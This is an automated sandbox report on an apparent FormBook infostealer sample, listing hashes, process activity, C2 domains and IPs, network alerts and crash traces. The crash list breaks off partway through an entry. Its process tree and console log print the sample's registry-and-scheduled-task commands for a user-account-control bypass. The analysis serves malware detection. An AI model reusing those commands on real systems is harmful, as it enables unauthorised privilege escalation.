Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Oct. 22, 2021, 11:30 a.m.	Oct. 22, 2021, 11:32 a.m.

Size	973.0KB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`61f55bceba5b9a52c750555d62fc7ae9`
SHA256	`7080315530bc6d7ead65034c1587e4596d9dbf0fc17107fbb28f84bf016009f9`
CRC32	`DE2B1628`
ssdeep	`12288:fDug7DeIhyEzPsO4z+oxMOQWHphA3hHx8rkRZQ9XYBk9NAOe6k1+hO/O5N8DoQTa:rt7JhyEz0O4z+OQK79HHQT2ODA`
Yara	PE_Header_Zero - PE File Signature IsPE32 - (no description) Malicious_Library_Zero - Malicious_Library UPX_Zero - UPX packed file

.vbc.exe "C:\Users\test22\AppData\Local\Temp\.vbc.exe"
2404
- cmd.exe cmd /c ""C:\Users\Public\Trast.bat" "
  2096
  - cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
    2352
    - reg.exe reg delete hkcu\Environment /v windir /f
      2968
    - reg.exe reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "
      2120
    - schtasks.exe schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
      2288
- cmd.exe cmd /c ""C:\Users\Public\nest.bat" "
  2556
  - reg.exe reg delete hkcu\Environment /v windir /f
    420

Name	Response	Post-Analysis Lookup
www.royallecleaning.com	A 34.102.136.180 CNAME royallecleaning.com	34.102.136.180
www.syktxny.com	A 156.233.233.109	156.233.233.109
3jaqfq.am.files.1drv.com	A 13.107.42.12 CNAME odc-am-files-geo.onedrive.akadns.net CNAME am-files.ha.1drv.com.l-0003.dc-msedge.net.l-0003.l-msedge.net CNAME odc-am-files-brs.onedrive.akadns.net CNAME am-files.fe.1drv.com CNAME l-0003.l-msedge.net	13.107.42.12
onedrive.live.com	CNAME odc-web-geo.onedrive.akadns.net CNAME l-0004.l-msedge.net A 13.107.42.13 CNAME odwebpl.trafficmanager.net.l-0004.dc-msedge.net.l-0004.l-msedge.net CNAME odc-web-brs.onedrive.akadns.net	13.107.42.13
www.tamzeedhossain.xyz	CNAME tamzeedhossain.xyz A 172.104.184.240	172.104.184.240
www.riverdenim.com	A 204.11.56.48	204.11.56.48

IP Address	Status	Action
13.107.42.12	Active	Moloch
13.107.42.13	Active	Moloch
156.233.233.109	Active	Moloch
164.124.101.2	Active	Moloch
172.104.184.240	Active	Moloch
204.11.56.48	Active	Moloch
34.102.136.180	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49168 -> 13.107.42.13:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49170 -> 13.107.42.12:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49169 -> 13.107.42.12:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49185 -> 172.104.184.240:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49194 -> 34.102.136.180:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49185 -> 172.104.184.240:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49194 -> 34.102.136.180:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49185 -> 172.104.184.240:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49194 -> 34.102.136.180:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49185 -> 172.104.184.240:80	2031088	ET HUNTING Request to .XYZ Domain with Minimal Headers	Potentially Bad Traffic
TCP 192.168.56.103:49186 -> 172.104.184.240:80	2031413	ET MALWARE FormBook CnC Checkin (POST) M2	Malware Command and Control Activity Detected
TCP 156.233.233.109:80 -> 192.168.56.103:49199	2400015	ET DROP Spamhaus DROP Listed Traffic Inbound group 16	Misc Attack
TCP 192.168.56.103:49195 -> 34.102.136.180:80	2031413	ET MALWARE FormBook CnC Checkin (POST) M2	Malware Command and Control Activity Detected
TCP 192.168.56.103:49189 -> 204.11.56.48:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49189 -> 204.11.56.48:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49189 -> 204.11.56.48:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49197 -> 156.233.233.109:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49197 -> 156.233.233.109:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49197 -> 156.233.233.109:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLSv1 192.168.56.103:49168 13.107.42.13:443	C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 01	CN=onedrive.com	50:2f:33:10:92:ac:27:7b:17:be:82:68:3b:e2:29:ad:97:41:b7:bb
TLSv1 192.168.56.103:49170 13.107.42.12:443	C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 01	C=US, ST=WA, L=Redmond, O=Microsoft Corporation, OU=Microsoft Corporation, CN=storage.live.com	ec:e5:02:98:e6:c9:9a:12:fc:c0:4d:19:cd:2b:0c:ae:d0:c0:37:8e
TLSv1 192.168.56.103:49169 13.107.42.12:443	C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 01	C=US, ST=WA, L=Redmond, O=Microsoft Corporation, OU=Microsoft Corporation, CN=storage.live.com	ec:e5:02:98:e6:c9:9a:12:fc:c0:4d:19:cd:2b:0c:ae:d0:c0:37:8e

Queries for the computername (1 event)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameW Oct. 22, 2021, 11:30 a.m.	computer_name: TEST22-PC	1	1	0

Command line console output was observed (22 events)

Time & API	Arguments	Status	Return
WriteConsoleW Oct. 22, 2021, 11:30 a.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Oct. 22, 2021, 11:30 a.m.	buffer: start console_handle: 0x00000007	1	1
WriteConsoleW Oct. 22, 2021, 11:30 a.m.	buffer: /min C:\Users\Public\UKO.bat console_handle: 0x00000007	1	1
WriteConsoleW Oct. 22, 2021, 11:30 a.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Oct. 22, 2021, 11:30 a.m.	buffer: reg console_handle: 0x00000007	1	1
WriteConsoleW Oct. 22, 2021, 11:30 a.m.	buffer: delete hkcu\Environment /v windir /f console_handle: 0x00000007	1	1
WriteConsoleW Oct. 22, 2021, 11:30 a.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Oct. 22, 2021, 11:30 a.m.	buffer: reg console_handle: 0x00000007	1	1
WriteConsoleW Oct. 22, 2021, 11:30 a.m.	buffer: add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM " console_handle: 0x00000007	1	1
WriteConsoleW Oct. 22, 2021, 11:30 a.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Oct. 22, 2021, 11:30 a.m.	buffer: schtasks console_handle: 0x00000007	1	1
WriteConsoleW Oct. 22, 2021, 11:30 a.m.	buffer: /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I console_handle: 0x00000007	1	1
WriteConsoleW Oct. 22, 2021, 11:30 a.m.	buffer: exit console_handle: 0x00000007	1	1
WriteConsoleW Oct. 22, 2021, 11:30 a.m.	buffer: ERROR: console_handle: 0x0000000b	1	1
WriteConsoleW Oct. 22, 2021, 11:30 a.m.	buffer: The system was unable to find the specified registry key or value. console_handle: 0x0000000b	1	1
WriteConsoleW Oct. 22, 2021, 11:30 a.m.	buffer: The operation completed successfully. console_handle: 0x00000007	1	1
WriteConsoleW Oct. 22, 2021, 11:30 a.m.	buffer: ERROR: console_handle: 0x0000000b	1	1
WriteConsoleW Oct. 22, 2021, 11:30 a.m.	buffer: The system cannot find the path specified. console_handle: 0x0000000b	1	1
WriteConsoleW Oct. 22, 2021, 11:30 a.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Oct. 22, 2021, 11:30 a.m.	buffer: start console_handle: 0x00000007	1	1
WriteConsoleW Oct. 22, 2021, 11:30 a.m.	buffer: /min reg delete hkcu\Environment /v windir /f console_handle: 0x00000007	1	1
WriteConsoleW Oct. 22, 2021, 11:30 a.m.	buffer: The operation completed successfully. console_handle: 0x00000007	1	1

The executable contains unknown PE section names indicative of a packer (could be a false positive) (1 event)

section

.itext

The executable uses a known packer (1 event)

packer

BobSoft Mini Delphi -> BoB / BobSoft

One or more processes crashed (50 out of 124 events)

Time & API	Arguments	Status
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7757317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x7758199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x7758193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x775818ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7758174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1633040 registers.edi: 1633128 registers.eax: 23117 registers.ebp: 1633100 registers.edx: 0 registers.ebx: 0 registers.esi: 4063232 registers.ecx: 1633024	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7756f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7756f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7758176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x7759af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x775818ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7758174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1632892 registers.edi: 1632988 registers.eax: 23117 registers.ebp: 1632952 registers.edx: 0 registers.ebx: 4063232 registers.esi: 4063232 registers.ecx: 2002262528	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7757317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x7759ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x7759af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x775818ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7758174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1633024 registers.edi: 1633112 registers.eax: 23117 registers.ebp: 1633084 registers.edx: 0 registers.ebx: 4063232 registers.esi: 4063232 registers.ecx: 1633024	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7756f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7756f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7758176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1633148 registers.edi: 1633244 registers.eax: 23117 registers.ebp: 1633208 registers.edx: 0 registers.ebx: 4063232 registers.esi: 4063232 registers.ecx: 2002365952	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7757317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x7758199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x7758193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x775818ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7758174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1633040 registers.edi: 1633128 registers.eax: 23117 registers.ebp: 1633100 registers.edx: 0 registers.ebx: 0 registers.esi: 4063232 registers.ecx: 1633024	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7756f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7756f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7758176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x7759af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x775818ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7758174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1632892 registers.edi: 1632988 registers.eax: 23117 registers.ebp: 1632952 registers.edx: 0 registers.ebx: 4063232 registers.esi: 4063232 registers.ecx: 2002262528	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7757317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x7759ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x7759af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x775818ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7758174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1633024 registers.edi: 1633112 registers.eax: 23117 registers.ebp: 1633084 registers.edx: 0 registers.ebx: 4063232 registers.esi: 4063232 registers.ecx: 1633024	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7756f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7756f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7758176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1633148 registers.edi: 1633244 registers.eax: 23117 registers.ebp: 1633208 registers.edx: 0 registers.ebx: 4063232 registers.esi: 4063232 registers.ecx: 2002365952	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7757317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x7758199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x7758193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x775818ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7758174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7756f4ef registers.esp: 1633040 registers.edi: 1633128 registers.eax: 23117 registers.ebp: 1633100 registers.edx: 0 registers.ebx: 0 registers.esi: 4063232 registers.ecx: 1633024	1
__exception__ Oct. 22, 2021, 11:30 a.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7756f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7756f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7758176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x7759af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x775818ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7758174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77583e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76783b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7517db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x742d7322 0x3e60e3 0x3e4117 0x3e4204 +0x528a7 @ 0x4528a7 +0x532a9 @ 0x4532a9 +0x546f6 @ 0x4546f6 +0x43e7 @ 0x4043e7 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763733ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77579ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77579ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 